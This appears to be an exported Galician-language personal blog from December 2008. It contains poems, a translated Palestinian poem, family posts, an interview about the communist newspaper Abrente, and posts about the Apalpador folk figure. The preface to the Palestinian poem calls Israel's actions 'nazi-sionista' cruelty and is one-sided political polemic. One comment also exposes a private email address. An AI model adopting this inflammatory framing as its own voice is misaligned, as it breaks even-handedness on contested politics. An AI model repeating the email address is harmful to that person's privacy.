O pano palestino, a Keffiyeh, kaffiyah, keffiya, kaffiya ou ainda kufiya, é hoje, igual que onte, igual que manhám, um símbolo de resistência, de luita, de dignidade, de liberdade, de internacionalismo. Mas também de dor, de sufrimento, de injustiça.
No 2009 Palestina livre!!!
Perante tanta barbárie, tanta dor, tanta sem razão, tanta injustiça, tanto olhar para outro lado dos governos (e do nosso governinho junteiro da forças de ?esquerda?? PSOE ? BNG, só nos resta a dignidade comunista e a ideia de que nós, os trabalhadores somos os únicos chamados para desfazer o opróbio, o desdouro, a ignomínia.
Mando para todos os leitores deste blogue honroso uma tradução de um poema do livro ?Diwan? de um grande poeta palestino para uma antologia de poesia palestina moderna que ainda não saiu a lume, em homenagem sentida por todas as vítimas da crueldade nazi-sionista.
_¨_ ¨_¨
Makhmud Sobh al-Kurdi
Cruz de todos os homens
Para minha mãe, Aixa.
«A tua cruz, ai!, Nazareno,
feridas de flauta dessangra.
A minha gorja é ouriço de alfinetes;
As minhas mãos, de lume chamas»
E prossego ainda, como Tu, vivindo.
Uma ponte de cravos atravessei
desde Belém, por te achar:
a tua morte é a minha morte;
o teu sangue, o meu sangue.
E prossego ainda, como Tu, vivindo.
Percorri o Calvário,
desde Belém, por te achar:
A tua morte é a minha morte;
O teu sangue, meu sangue é.
E ainda prossego, como Tu, vivindo.
Percorri o Calvário,
a tua paixão no meu corpo sofri.
E lá para onde o meu rosto volvo
mil Judas gritam: «Crucificai o árabe!».
E ainda prossego, como Tu, vivindo
O meu sol perseguido é por mil víboras
cuspindo ao ar
rajadas da peçonha.
E ainda prossego, como Tu, vivindo
No madeiro da morte
encontro-te cada dia.
E ainda prossego, como Tu, vivindo.
As feridas do teu corpo
?o meu corpo?
igual que galhos de tranças são
pingando lágrimas na face da tua mãe
?minha mãe?.
São como espigas de trigo
nas encostas de Galiléia.
Racimos de uvas são com sangue baptizados
sob os raios do sol do meio-dia.
Como se transitar o Calvário
desde a morte para a vida
um breve instante fosse,
ainda prossego, como Tu, vivindo.
Palestina é uma espada
espetada nas minhas entranhas
como doce levadura.
A tua cruz, a bainha é dessa espada
que um mar de sangue jorra,
purpúrea, vermelha.
E continuo ainda, como Tu, vivindo!
Palestina é uma oliveira entre dous mares:
Mar de morte e de açafrão,
mar de açucenas e flores de cerdeira.
Do seu sangue farei eu pão e vinho,
e azeite.
E armas, também.
Com a sua luz pegarei fogo
para atirar com violência o ouro todo dos ídolos.
Palestina renascerá da grande dor do parto.
Ó Palestina, dor de tantos povos,
Cruz de todos os homens.
Tradução de José André Lôpez Gonçâlez
A Palestina será livre e socialista igual que Galiza será livre e socialista.
A vitória é dos trabalhadores.
Chantaremos um mundo novo livre de injustiça para que as crianças possam livres surrir e bricar.
Subo este comentário ao blogue na (mais ou menos) hora exacta na que, há 3 anos, Xende viu por vez primeira as luzes e as cores deste mundo, quando por vez primeira viu à sua mae, estivo com ela pel com pel. Nestes 3 curtos anos, grandes anos, anos cheios, Xende descubriu, entre outras muitas cousas, a música.
Na passada semana, na ceia de comemoraçom do número 50 do Abrente, decidiu começar a tocar a bateria. Aqui o podemos ver, fazendo os seus primeiros ritmos com a bateria, tomada prestada sem pedir permiso, de "Chama-lhe Xis".
Entre os seus instrumentos preferidos já soma, portanto, também a bateria, junto com a gaita, a guitarra, o acordeom, a pandeireta, a flauta,...
Se esta tarde andades por aqui, já sabedes por onde podedes passar para tomar um chocolate com biscoitos. Com Xende, e com Aldám, por suposto.
Parabéns, Xende!, ainda que vaias tardar uns quantos anos em poder ler este blogue.
----- COMMENT: AUTHOR: paco [Visitante] DATE: Wed, 31 Dec 2008 20:24:13 +0000 URL:Este Lugrís vai para músico. Cousas de familia …
----- COMMENT: AUTHOR: artabria [Membro] DATE: Tue, 30 Dec 2008 15:04:04 +0000 URL:Parabéns ao Xende!
----- -------- AUTHOR: Lugris TITLE: Homenagem / Homenatge a Joan Brossa BASENAME: homenagem-homenatge-a-joan-brossa DATE: Tue, 30 Dec 2008 06:35:45 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: Eu também desenhar TAGS: ----- BODY:De Lándoa recolho a notícia, e do Abloccedari a proposta, de realizar hoje umha homenagem, umha homenatge, grande ou pequena, ao Joan Brossa, no 10 aniversário da sua morte: La idea és publicar tots simultàniament el 30 de desembre ─dia de l'efemèride─ un apunt als nostres blocs sobre Brossa, cadascú segons el tarannà del seu bloc i a la seva manera.
Este A, preto, tipografia berlin sans FB demi 1300 pontos, está cheio de as brancos, amarelos, azuis e vermelhos, com as tipografias das que mais gosto e/ou que mais emprego no meu trabalho (profesional e/ou artístico), todas de 24 pontos: amertype Md Bt, arial black, courier new, garamond, cancun, verdana, times new roman, bauhaus, clarendon BT, english111 vivace BT, avantgarde, binnerD, lucida sans typewriter, chiller, ravie, pablo LET, kabarettD, etc...
Di a wikipédia que o A é "a primeira letra em quase todo os alfabetos do mundo, com exceção do mongol, tibetano, etíope e outros menos conhecidos". Também nos di que resulta "impossível determinar a verdadeira exatidão da data de surgimento do alfabeto. Porém no começo de 900 a.C., os gregos adotaram o alfabeto fenício e que ainda é utilizado até hoje. Sendo mais que provável que todos os alfabetos europeus tenham se originado do alfabeto fenício".
(Também a pendurei das paredes do meu apartamentinho)
----- -------- AUTHOR: Lugris TITLE: O Partido ao serviço da língua BASENAME: o-partido-ao-servico-da-lingua DATE: Mon, 29 Dec 2008 16:24:31 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por aí TAGS: ----- BODY:O Portal Galego da Língua publicou nestes dias umha entrevista colectiva, realizada com motivo da publicaçom do número 50 do Abrente, o vozeiro de Primeira Linha, a Noa Rios Bergantinhos, Carlos Morais e a quem isto escreve.
Aporto umha pequenha reflexom, já várias vezes repetida, portanto, nom excessivamente original, mas que pode aportar algumha cousa para o debate sobre os blogues, a literatura na rede, etc..., e que foi, está ainda a ser, um dos debates do ano que remata, e do ano que vai começar: "Além do dito, é claro que a leitura na rede costuma ser mais fragmentária, imediata, enquanto no papel dá para umha leitura mais profunda e demorada, complementando a leitura na Internet. É curioso, neste senso, comprovar como na rede se tenta cada vez mais aproximar os formatos de leitura à leitura em papel, como se vê em serviços gratuitos como Issuu, onde vimos publicando o Abrente desde há uns meses".
PGL - Aproveitando a comemoraçom dos 50 números da publicaçom partidária de Primeira Linha, o Portal Galego da Língua conversou com três dirigentes desse partido, de orientaçom comunista e independentista, para conhecer um bocado melhor a trajectória do jornal e do próprio partido.
Falamos, com Carlos Morais, Noa Rios Bergantinhos e Igor Lugris, sobretodo dos importantes pontos de contacto que essa experiência política e editorial tem com a luita pola língua e com o reintegracionismo na última década de história da Galiza.
Eis o resultado da entrevista.
PGL: Que tem o Abrente de trabalho militante e que de trabalho profissional?
Carlos: Trata-se de umha publicaçom quase absolutamente dependente do trabalho militante, que só é possível polos contributos de militantes que ponhem a disposiçom do projecto a partir da sua parcela profissional e de conhecimento, ou da sua entrega nos mais diversos aspectos do processo de elaboraçom de cada número.
Noa: Eu destacaria a regularidade e estabilidade como traço profissional pouco visto no mundo editorial do ámbito político galego, e onde Abrente sim tem conseguido até hoje umha certa seriedade no compromisso adquirido com os leitores e leitoras.
PGL: Quantas pessoas intervenhem directamente no processo de publicaçom de cada número?
Carlos: Como órgao de expressom de Primeira Linha, Abrente é elaborado polo seu organismo de direcçom, o Comité Central. Aí decidem-se os conteúdos, a orientaçom e especialmente o editorial que abre cada número.
Normalmente, a diferença do que é norma em publicaçons de carácter partidário, Abrente abre as suas páginas a vozes alheias ao nosso partido e às nossas posiçons ideológicas, até umhas 140 pessoas que até hoje tenhem escrito, sem por isso deixar de responder à orientaçom global que se decide internamente.
Noa: Sim, mas além do Comité Central, último responsável pola publicaçom, todo o partido participa de algumha forma no processo, por exemplo, decidindo os lugares de distribuiçom, em que actos públicos... também na procura de contactos e no oferecimento de espaço para escrever, na consecuçom de publicidades, todo o qual se fai sobretodo a nível comarcal e local.
PGL: Tendo em conta que a sua distribuiçom é gratuita e dificilmente contaredes com subsídios públicos, deve ser difícil manter umha iniciativa como esta durante tantos anos. Como se sustenta economicamente?
Carlos: Partindo da concepçom leninista, que fai do jornal partidário um organizador colectivo, damos também valor ao princípio da independência de classe e económica, daí que apostemos no autofinanciamento. Além dos fundos próprios do partido, existe só umha via externa de entrada de fundos, que é a inserçom de publicidades de pequenos negócios, que dessa forma apoiam a existência de um periódico comprometido socialmente e com este país. Acho que em 1996 o Abrente foi umha das publicaçons pioneiras em introduzir esta via dentro da imprensa política na Galiza.
Igor: Há que ter em conta que o Abrente nom é umha empresa que tenha que aspirar ao lucro económico. Os benefícios que nos confere som de tipo político e ideológico, ajudando a dar a conhecer o nosso projecto, abrindo-o ao debate com outros sectores sociais... todo isso compensa o carácter deficitário que ineludivelmente tem a nível estritamente económico, umha vez que tem umha distribuiçom gratuita e Primeira Linha nom conta com nengum tipo de ajuda oficial, institucional nem externa para além das apontadas.
PGL: Qual é a tiragem e como é a distribuiçom do periódico?
Igor: A tiragem é de 3.000 exemplares e a sua distribuiçom está em maos da própria militáncia do partido, que a fai chegar aos centros de trabalho, de estudo, centros sociais e às mobilizaçons sociais, com as limitaçons que impom a própria tiragem e a nossa dimensom partidária. Por outra parte, há que destacar a distribuiçom electrónica, pois as visitas ao Abrente na Internet multiplicam o número de exemplares em papel de cada número.
Noa: Também se reservam por volta dos 300 envios postais, gratuitamente, a pessoas e organizaçons galegas e internacionais que querem receber um exemplar em papel na morada.
PGL: O Abrente é especialmente lido na Internet (cada número costuma ter muitos milhares de acessos). Ainda vale a pena publicar em papel?
Noa: Eu acho que ambas ediçons som complementares, ainda reconhecendo que a digital tem um público muito maior e é, evidentemente, menos custosa em termos económicos. O papel tem umha funçom parcialmente diferente, permitindo umha leitura também diferente, mais apousada. Pensemos também no uso colectivo para o debate de conteúdos em reunions ou actos de estudo e debate político em grupo, onde é importante poder tocar o jornal.
Igor: Além do dito, é claro que a leitura na rede costuma ser mais fragmentária, imediata, enquanto no papel dá para umha leitura mais profunda e demorada, complementando a leitura na Internet. É curioso, neste senso, comprovar como na rede se tenta cada vez mais aproximar os formatos de leitura à leitura em papel, como se vê em serviços gratuitos como Issuu, onde vimos publicando o Abrente desde há uns meses.
Carlos: Tampouco a percentagem de galegos e galegas com acesso à rede permite esquecer-se do papel, pois nom estamos ainda ao nível dos países com a Internet mais estendida entre a populaçom.
PGL: Durante a etapa inicial, o Abrente era escrito na norma de ?mínimos?. A finais do século passado, enquanto algumhas organizaçons se preparavam para abandonar os mínimos em direcçom ao galego isolacionista, vós passastes dos mínimos para os ?máximos? propostos pola AGAL. Porquê?
Carlos: O jornal reflecte a evoluçom do partido que o edita. Nascemos como organizaçom no seio do BNG, pensando que era viável construir umha corrente revolucionária marxista no seu interior. Naquela etapa, ainda sendo reintegracionistas umha boa parte da militáncia inicial, incluídos alguns sócios da AGAL, tentamos evitar um choque com as práticas maioritárias no BNG, seguramente com umha certa dose de ingenuidade, visto com a perspectiva que dam os anos.
De resto, lendo os nossos textos na altura comprova-se que nom era exactamente a norma de mínimos que nós empregávamos, e sim umha forma híbrida entre os mínimos e o padrom da AGAL. Quando chegamos à conclusom de que a nossa presença no BNG estava esgotada, em funçom da deriva neoliberal e regionalista que começava a experimentar, dous anos e meio após a nossa constituiçom formal, o I Congresso de Primeira Linha adoptou já o padrom da AGAL, sendo imediatamente adoptado no próprio Abrente e nas restantes publicaçons partidárias.
Noa: Eu lembro umha frase de um companheiro que só mais tarde viria a integrar-se no partido, Maurício Castro, que na altura nos recomendou ?nom pôr a língua ao serviço do partido, mas o partido ao serviço da língua?. Acho que foi um juízo acertado e foi isso que figemos.
PGL: Abrente gaba-se de fomentar a publicaçom de visons diferentes às do partido que o edita, mas sempre em galego reintegrado. Ninguém vos coloca problemas por ver os seus escritos adaptados?
Igor: Sendo a forma escrita um princípio, escrever no Abrente, implica a assunçom do mesmo. Houvo alguns casos em que se colocárom problemas, mas isso foi sempre resolvido com umha nota explicando que o artigo em questom tinha sido originalmente escrito noutra norma. Em todo o caso, acho que o mais significativo é que, em todos estes anos, ninguém se negou a publicar no Abrente por causa da forma escrita.
PGL: Também contades com importantes colaboraçons internacionais. Que papel reservades ao ámbito lusófono?
Igor: Pola posiçom que ocupamos, numha naçom sem soberania tam próxima de Portugal, partilhando língua com o Estado vizinho, sempre demos grande importáncia aos nossos relacionamentos com a esquerda portuguesa. No entanto, nom foi fácil conseguir essa interlocuçom, até que em 2001 abrimos por fim umha via de relaçom estável com a Política Operária, organizaçom comunista com que colaboramos desde aquela de maneira preferente. De facto, através da Abrente Editora, única editora marxista galega na actualidade, temos publicado obras conjuntas com a Dinossauro, ligada à Política Operária. É o caso das obras de Francisco Martins que publicamos no último ano, Os anos do silêncio e Anti-Dimitrov, além da distribuiçom dos livros dessa editora no nosso país e dos nossos em Portugal.
Noa: Em todo o caso, a nossa colaboraçom com a esquerda social portuguesa aspira a ser aprofundada e aberta a mais correntes que, progressivamente, vaiam tomando consciência da existência da Galiza como naçom oprimida.
PGL: Acabades de falar dos livros de temática política que publicades sob a chancela da Abrente Editora, também escritos no padrom reintegrado. Achades isso umha limitaçom?
Igor: Nom nos parece que seja. Todos os títulos, excepto os dous primeiros, fôrom publicados no padrom reintegrado, e a difusom está a ser grande, e nom só na Galiza, mas também em Portugal. Há outras circunstáncias que tenhem mais peso no sucesso das iniciativas, como a difusom ou a distribuiçom, além do interesse da obra.
PGL: Que opinades da posiçom da intelectualidade e do mundo cultural galego em relaçom à língua e a outras formas de compromisso social?
Carlos: Em nossa opiniom, a maioria da intelectualidade galega caracteriza-se por ser subsidiada, complexada e acobardada, muitas vezes recluída na sua torre de marfim aspirando só a fazer carreira académica ou literária, mas sempre, isso sim, à custa dos fundos públicos. Isso explica que, para conseguir apoios e entrar nos circuitos vinculados com o poder, agora o bipartido e antes o governo do Partido Popular, renuncie aos princípios de qualquer intelectual comprometido com o seu tempo: combater o statu quo, mudar o presente e contribuir com a sua capacidade intelectual para esses objectivos. As excepçons podem ser contadas com os dedos das duas maos, e na língua vê-se bem, na submissom à norma isolacionista. De facto, temos visto nos últimos 15 anos como poetas, ensaístas, romancistas, músicos, artistas mais ou menos próximos do reintegracionismo fôrom cooptados pola lógica do sistema.
Noa: A actividade editorial é também um exemplo. Cada vez é mais difícil encontrar editoras abertas, com excepçom de Abrente, AGAL e poucas mais, ao uso do galego reintegrado.
Igor: Também o discurso da língua, em geral, está a ser abandonado por muitos intelectuais, perdendo-se a tensom e permitindo que surjam iniciativas abertamente hostis com o galego. Para viver do poder, nom se pode entrar no confronto com a oficialidade, isso é umha evidência.
PGL: Para quando a unidade independentista?
Carlos: É evidente que as diferentes tentativas que tem havido dérom em fracassos parciais, embora permitissem articular correntes como a nossa, mas esse nom era o objectivo. Nós continuamos a manter a unidade como objectivo estratégico, com base nos princípios do carácter de esquerda do independentismo galego; da plena autonomia em relaçom à expressom maioritária do nacionalismo, hoje convertida em regionalista; e da pluralidade ideológica, em forma de plataforma ampla em que entrem desde a social-democracia de esquerda até correntes comunistas como a nossa.
Igor: Nom creio que todo este tenha sido um tempo perdido. Devemos tirar as liçons correspondentes para avançar nesse objectivo último da unidade. E a unidade chegará.
----- -------- AUTHOR: Lugris TITLE: A vida tola BASENAME: a-vida-tola DATE: Mon, 29 Dec 2008 15:16:18 +0000 STATUS: publish PRIMARY CATEGORY: Aqueles maravilhosos anos CATEGORY: Gz é bem pequena CATEGORY: Músicas TAGS: ----- BODY:[youtube]iRkrupsjz-M[/youtube]
Cada quem, vive a vida como quer, como pode. Há quem vive a vida louca, ou tola. Se lê este blogue, ou simplesmente o visita de quando em vez, e o seu filósofo de cabeceira fai-lhe visitar estas terras, que se lembre de mim. Que se lembre de nós.
Eu, sigo intentando nom compreender nada, na procura das migalhas das estrelas polas ruas do bairro alto.
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Mon, 29 Dec 2008 16:40:54 +0000 URL: http://oportodosescravos.blogspot.comLiving la vida loca, living wild sid, eta kapitalismo basatia
Xenial esta deconstrución, (creo que unha versión é outra cousa). ;-)
----- -------- AUTHOR: Lugris TITLE: O Apalpador ao vivo!!! BASENAME: o-apalpador-ao-vivo DATE: Mon, 29 Dec 2008 10:04:46 +0000 STATUS: publish PRIMARY CATEGORY: O Apalpador 08 CATEGORY: Gz é bem pequena CATEGORY: Xende Lugris TAGS: ----- BODY:[youtube]wqdsx5QbH40[/youtube]
O Apalpador andivo estes dias com muito trabalho. Por sorte para ele, nom tem que percorrer o mundo inteiro, só Galiza, que ainda que tu digas que é bem pequena, todas/os sabemos que Galiza é um mundo.
Nestas imagens, podemo-lo ver polas ruas de Compostela, mas há testemunhas, mesmo também fotos e outros vídeos, que mostram o seu passo polas ruas de Ponte Areais, Ferrol, Ourense...
A Xende tivo que localizá-lo em Compostela, na casa dos seus tios Sarai e Cholo. Deixou-lhe umha bicicleta. Igual que ao seu tio, por certo.
----- -------- AUTHOR: Lugris TITLE: "Com estes versos nom farás a Revoluçom" BASENAME: com-estes-versos-nom-faras-a-revolucom DATE: Sun, 21 Dec 2008 20:28:55 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: TAGS: ----- BODY:[youtube]0f7UPTz4KeU[/youtube]
Senta na mesa e escreve
?Com este poema nom tomarás o poder? di
?Com estes versos nom farás a Revoluçom? di
?Nem com milheiros de versos farás a Revoluçom? di
E mais: eses versos nom lhe serviram para
Que peons mestres hacheros vivam melhor
Comam melhor ou ele próprio coma viva melhor
Nem para namorar umha serviram-lhe
Nom ganhará um cam com eles
Nom entrará no cinema de graça com eles
Nom lhe darám roupa por eles
Nom conseguirá tabaco ou vinho por eles
Nem papagaios nem cachecois nem barcos
Nem touros nem guardachuvas conseguirá por eles
Se por eles for a chuva molhará-lhe
Nom alcançará perdom ou graça por eles
?Com este poema nom tomarás o poder? di
?Com estes versos nom farás a Revoluçom? di
?Nem com milheiros de versos farás a Revoluçom? di
Senta na mesa e escreve
Mais sobre Gotan Project na rádio, e no seu web.
----- -------- AUTHOR: Lugris TITLE: Nestas entranhaveis datas BASENAME: nestas-entranhaveis-datas DATE: Sat, 20 Dec 2008 06:40:37 +0000 STATUS: publish PRIMARY CATEGORY: Aqueles maravilhosos anos CATEGORY: Lugris TAGS: ----- BODY:Estarei estes dia entre aqui e alá. Entre alá e acolá. Novamente para aló. É o que tenhem estes dias, estas entranhaveis datas, que diria o bourbom.
Esta casa estará, seguramente, desatendida. Mas, para passar os dias, vou deixar aqui esta foto. Será de há 33 ou 34 anos...!!!
O famoso trio musical "Os Lugrises", interpreta algumha das suas mais famosas peças, um dos seus grandes éxitos das festas de natal.
Reparem na cuidada selecçom do vestiário, e na decoraçom: a estrela que se pode ver sobre as nossas cabeças, ainda a conservamos.
----- COMMENT: AUTHOR: l&m [Visitante] DATE: Sun, 28 Dec 2008 18:20:14 +0000 URL: http://www.oblodelm.blogspot.comboas festas!!!!
beijinhos
Arume: repare em que leva a bufanda sem atar… Abrigado, mas pouco.
Quanto ao Mago Chalupa, fai parte (junto com a limonada, o butelo e algumha outra cousa) do facto diferencial berziano.
Saúdos.
:)
Ostias!!!! O Lugrís alberto abrigao? Que lle pasaba?
Preciosa foto en todo caso. E que vostede o pase ben. Heille de confesar que nunca pasei o nadal en Ponferrada. Só os reis magos e, sobre todo, polo peculiar mago chalupa que non sei de onde ven.
Canso-me
Nom é pronome inecesário
É que me canso
A mim próprio
A mim mesmo
Canso-me
Porém
continúo
na procura dum lugar
dum momento
dumha palavra
ou dumha pequena sensaçom
que me permita
por um segundo
descansar
Canso-me
por aguardar
por nom saber
por saber de mais
por nom querer seguir esperando
Canso-me
falando
ou guardando silêncio
escrevendo lendo vendo
ouvindo escuitando sentindo
Canso-me
com tanta indecissom
longe das madrugadas
e com tanta falta de equilíbrio
Canso-me
para saber-me
ainda com forças
para continuar
na procura da palavra
que me falta
para completar este poema
A imagem, aqui.
----- COMMENT: AUTHOR: igor [Membro] DATE: Sat, 20 Dec 2008 05:56:07 +0000 URL:Sorprende-me, senhor Arumes. Da leitura do meu poema, da sua análise pormenorizada, é vostede capaz de tirar essa informaçom?
:)
Sim, o meu irmao chama-se Alberto, e tem o insólito costume de ir de manga curta sempre. Todo o ano, chova, trone ou neve. Os Lugrises, somos assim: insólitos e peculiares.
Dea-lhe vostede saúdos (ainda que penso que o verei em poucos dias).
PD/Repare bem vostede na ilustraçom do seguinte comentário, para saber mais do meu irmao.
----- COMMENT: AUTHOR: arume dos piñeiros [Visitante] DATE: Fri, 19 Dec 2008 23:58:16 +0000 URL: http://arumes.blogspot.comNon sabía eu que o seu irmán se chamara Alberto e que tivera o insólito costume de ir de manga corta en plena nevada.
----- -------- AUTHOR: Lugris TITLE: Como um blues BASENAME: como-um-blues DATE: Mon, 15 Dec 2008 06:44:58 +0000 STATUS: publish PRIMARY CATEGORY: Para Ver Ler CATEGORY: Escrever nom é mau TAGS: ----- BODY:Se soubesse escrever
um poema como um blues
escreveria o blues do proletariado
Ou melhor ainda
da proletária
A mulher trabalhadora
que na fábrica
na cadeia de produçom
durante dez ou onze horas
sem se poder mover
e comendo
ás agachadas
umhas pequenas bolachas salgadas
que leva nos bolsos do fato azul
todos os días
repassa as melodias e as letras
que nas noites das sextas e o sábados
interpreta
com o seu grupo
num pequeno local de jazz
dumha cidade atlántica
cheia de metal força e esperança
Um poema publicado no livro colectivo "Dez por Dez" (Abrente Editora, Abril de 2007). Um livro compartilhado com Artur Alonso Novelhe, Suso Bahamonde, Maria Lado, Kiko Neves, Carlos Quiroga, Baldo Ramos, Concha Rousia, Séchu Sende e Ramiro Vidal, e que iniciou a Colecçom Literária "Cabeça de Égua" dessa editora.
Mais, como sempre, no meu estudo-apartamentinho. Entrada livre e gratuita.
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Fri, 19 Dec 2008 11:59:34 +0000 URL: http://www.tangaranhovermelho.blogspot.comCursi porquê? É um magnífico poema. Realmente conmovedor…
----- COMMENT: AUTHOR: igor [Membro] DATE: Mon, 15 Dec 2008 17:19:22 +0000 URL:Lucas/Glenda: lamento-lho. Mas, a que se refire pola primeira parte? O primeiro verso? Os dous primeiros? Os cinco primeiros?
Quê mudaria? Acrescentaria? Suprimiria? Interesa-me a sua opiniom.
Obrigado pola visita.
Francamente, paréceme cursi e tópica a primeira parte do poema.
Eu, de verdade e de coraçom, declaro-me estibalizista e espinosófilo. Convencido. Confeso. Compacto.
Um motivo poderia ser isto, isto, ou isto. Poderia ser também por isto, ou por aquilo. Por aquela festa. Por ter-nos dado comida quanto tinhamos fame, ou por seu umha criatura tam mecánica. Em fim, motivos, tenho para mim que exitem avondos para declarar-se estibalizista e espinosófilo. Estibalizófilo e espinosista. Estes que eu citei, e outros.
Para mim, já o digem aqui, este é um deles. Só com isso, eu já me faria da igreja onde ela fose chefa, se existir.
Por isso quero agasalhá-la com esta entrada no meu blogue. Porque já lho digem: a língua se defende bem dos idiotas, mas a nós, a nós, quem nos defende a nós dos idiotas.
E para idiotas vários que andam por aí, por suposto, a imagem.
----- COMMENT: AUTHOR: igor [Membro] DATE: Sun, 14 Dec 2008 13:55:16 +0000 URL:Demo: vostede convirte à agredida em agressora, e aos agressores, e agressoras, em agredidos/as, e com isso fai um pam com umhas óstias (sem consagrar)… À Estíbaliz quero-lha bem, mas nom é a minha querida. No blogue do seu “querido” Spav, e aproveitando o anónimato e/ou pseudonimato, um amplo grupo de pessoas atacam e denigram vilmente a Estíbaliz e ao seu trabalho.
Se tam valentes som, que o fagam a cara descuberta.
Além do mais, todo destila um explícito e implícito “antiyolandismo” que já cansa. De Estíbaliz ou Yolanda serem homens, nom se diriam nem a metade de cousas sobre elas.
Eu, en cambio, declárome estibalista, quizá por ser da ribeira, recear do ceceo, e por gustar da estiba e desestiba de ideas e soños con que nos agasalla esta criatura-crianza-creadora.
----- COMMENT: AUTHOR: lándoas [Visitante] DATE: Sat, 13 Dec 2008 16:04:20 +0000 URL: http://landoa.blogspot.comPor todas esas razóns que Igor foi quen de unir: eu tamén, estibalizista e espinosófilo de corazón, cun respecto enorme polo seu traballo. Enorme!
----- COMMENT: AUTHOR: Odemo [Visitante] DATE: Sat, 13 Dec 2008 15:12:22 +0000 URL: http://www.odemo.blogaliza.orgLOL
Estibalizista, espinosófilo e acrítico. Porque o espectáculo infantiloido que a sua querida cenificou no blogue do nosso querido Spav nom tem nome. Nom entro na qualidade artística da sua obra, só na infra-educaçom e nettiqueta que demonstrou estes dias.
LOL
Por muito que olho
pola janela
para a rua
ou para os caminhos
para toda essa gente
para toda essa realidade
que está ai fora
ou aqui dentro
nom vejo
nom consigo ver
qual é o lugar onde estou
o lugar onde estarei
Aproveito para comunicar actualizaçons nas paredes do apartamentinho-estudo no que guardo os cartazes.
----- -------- AUTHOR: Lugris TITLE: Quê fazer? BASENAME: que-fazer DATE: Tue, 09 Dec 2008 06:55:43 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Farei-me esta pregunta
Quê fazer?
também
quando esteja nisso que chamam
paro
desemprego
quando nom tenha trabalho
quer-se dizer
trabalho remunerado?
Olharei ao meu redor
e verei as mesmas ruas
as mesmas praças as mesmas casas?
Serám as pessoas que me arrodeem as mesmas?
Quando esteja nisso que chamam
paro
poderei escrever
um poema
este poema?
Tal vez um poema de amor?
Ou terei que passar os dias escrevendo
redigindo
como sortilégio
curriculuns que ninguém lerá
e que estarám cheios de menos verdades
de mais falsas realidades
que todo o que tenha escrito antes?
Terei que procurar tempo
para pensar neste pregunta
Quê fazer?
ou o próprio tempo será
quem tenha
a resposta?
Serám as barricadas mais grandes
as desgraças mais tristes
as rosas mais rosas?
Serám as perguntas menos retóricas
as dúvidas menos esenciais
a existência menos misteriosa?
Poderei sair à rua
como poeta
desempregado
a berrar bem forte
ou terei que cultivar a beleza
oculta
em metáforas incomprensíveis?
Quando esteja nisso que chamam
paro
os meus companheiros
e também as companheiras
estarám nas bibliotecas
ou nas assembleias?
Poderei cantar
a urgente necessidade de reagir
ou ainda seguirá soando forçada
artificial
pouco verosímil
a voz poética que fale nos meus versos?
Quê fazer entom com as metonímias
os palíndromos as alegorias?
Como empregar as hipérboles
os eufemismo a ironia?
Quê construir com os circunlóquios
os pleonasmos e as aliteraçons?
Quê fazer com o quê fazer?
A imagem, aqui.
----- -------- AUTHOR: Lugris TITLE: O Apalpador caminha polo Bierzo BASENAME: o-apalpador-caminha-polo-bierzo DATE: Sun, 07 Dec 2008 14:25:22 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por cá CATEGORY: O Apalpador 08 TAGS: ----- BODY:Onte, o Diario de Leom, informava de que O Apalpador também caminha polo Bierzo. Este blogue pode oferecer em exclussivo umha imagem do Apalpador caminhando polas aldeias do Bierzo: aqui, podemo-lo ver em Val Boa, deixando-se fotografar diante da palhoça do centro da vila.
Estamos en negociaçons com ele para que nos permita publicar algumha das outras fotos que lhe pudemos fazer nas suas visitas às outras vilas berzianas. Mentres tanto, a rede sigue, e seguirá, promocionando a sua existência.
----- COMMENT: AUTHOR: José André Lôpez Gonçâlez [Visitante] DATE: Mon, 08 Dec 2008 23:04:34 +0000 URL:O seu post é muito engraçado. Espero que também o Apalpador se espalhe polo Berço.
Muito obrigado por me mandar por mail o calendário, que eu espalharei por cá, onde moro. Aguardo bons sucessos polo seu admirável trabalho.
O dito, muito obrigado mais uma vez.
André.
P.S. Ah! Recebi também o seu mail da notícia no Diário de Leom.
Obrigadinho, camarada e AVANTE!
O seu post é muito engraçado. Espero que também se espalhe polo Berço o Apalpador.
Muito obrigado por me mandar por mail o calendário e aguardo muitos sucessos no seu trabalho.
O dito, muito obrigado mais uma vez.
André
Ah! Recebi também o seu mail da notícia no Diário de Leom.
Obrigadinho, camarada.
----- -------- AUTHOR: Lugris TITLE: Apalpador para o ano inteiro BASENAME: apalpador-para-o-ano-inteiro DATE: Thu, 04 Dec 2008 21:57:02 +0000 STATUS: publish PRIMARY CATEGORY: Eu também desenhar CATEGORY: Cousas por aí CATEGORY: Gz é bem pequena CATEGORY: O Apalpador 08 TAGS: ----- BODY:Com o desenho do Apalpador feita por Leandro, e publicitada pola Gentalha do Pichel, desenhei este calendário para o 2009, que, por suposto, podes copiar, imprimir, distribuir e enviar a quem consideres oportuno.
Quem tenha interese nel, pode-mo solicitar, escrevendo-me um correio electrónico, e enviarei-lho em formato jpg. pronto para a sua impressom. O meu correio é ilugrisarrobahotmailpontocom (lembra modificar a palavra arroba polo seu símbolo e a palavra ponto por um .)
O Apalpador estará com nós todo o ano! Na nossa casa, Xende e Aldám pode-no ver, como, se vos fijades, apreziades na foto, pendurado na porta, junto com outros adornos "tradicionais" próprios destas datas.
----- COMMENT: AUTHOR: meninheira [Visitante] DATE: Wed, 02 Dec 2009 15:41:46 +0000 URL: http://dalleuncolinho.blogspot.com/Se este ano fas outro avísame queres? así o poño no blogue como o ano pasado :)
saudiñossssssssss
----- COMMENT: AUTHOR: paulo [Visitante] DATE: Sat, 06 Dec 2008 18:04:10 +0000 URL:Camarada Jose Andre. Chamo-me Paulo e som parte da comissom de memória histórica da gentalha do pichel. Fomos nós quem, partindo do teu estudo, pujemo-nos a trabalhar no espalhamento da figura do apalpador. Agora o apalpador caminha por si mesmo e conquistara o natal de toda Galiza. O caso é que tentamos contactar contigo de muitas formas e nom puidemos. Esta é a primeira noticia que temos de ti. Gostariamos de poder falar contigo, pois andamos fazendo viagens polo courel-ancares e temos dados novos que gostavamos de compartilhar.
Pauloricogz@hotmail.com
http://agal-gz.org/blogues//?blog=27
Meu caro camarada, muitos parabén pola sua iniciativa.
